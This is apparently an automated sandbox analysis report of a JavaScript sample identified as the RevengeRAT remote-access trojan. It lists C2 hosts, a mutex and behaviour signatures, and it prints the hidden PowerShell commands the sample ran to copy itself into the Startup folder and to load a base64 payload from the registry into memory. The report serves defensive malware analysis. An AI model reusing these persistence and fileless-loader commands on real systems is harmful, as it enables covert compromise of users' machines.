Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/01/2024, 11:09

General

  • Target
    748a2ce4d69b041ef66c79fd5ee5b05a.js
  • Size 32KB
  • Sample240125-m87dwsedb3
  • SHA256 98a8448063b2385b65c515fdeb23b54bbf9acc7b1e4f0a58e178660fbbd9a89c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • revengerat

Botnet
  • Office

C2
  • workwinrarhost.ddns.com.br:333

  • office.minhaempresa.tv:333

Mutex
  • RV_MUTEX-ViGGjjtnxDpnFw

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • RevengeRat Executable 1 IoCs
  • Blocklisted process makes network request 25 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\748a2ce4d69b041ef66c79fd5ee5b05a.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\748a2ce4d69b041ef66c79fd5ee5b05a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\748a2ce4d69b041ef66c79fd5ee5b05a.js'))"
      2⤵
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2416
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'KeyName').KeyName;[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2124

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_madbqrz2.nso.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_madbqrz2.nso.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/2124-19-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

        memory/2124-20-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

        memory/2124-0-0x000001F9D8A30000-0x000001F9D8A52000-memory.dmp

        memory/2124-23-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

        memory/2124-35-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

        memory/2124-34-0x000001F9D8A60000-0x000001F9D8A70000-memory.dmp

        memory/2124-32-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

        memory/2124-27-0x000001F9DAD80000-0x000001F9DAD8A000-memory.dmp

        memory/2416-21-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

        memory/2416-28-0x000001EF781D0000-0x000001EF78246000-memory.dmp

        memory/2416-25-0x000001EF77D90000-0x000001EF77DD4000-memory.dmp

        memory/2416-33-0x00007FF9B6CD0000-0x00007FF9B7791000-memory.dmp

        memory/2416-22-0x000001EF5D430000-0x000001EF5D440000-memory.dmp

        memory/2416-24-0x000001EF5D430000-0x000001EF5D440000-memory.dmp

        memory/2416-36-0x000001EF5D430000-0x000001EF5D440000-memory.dmp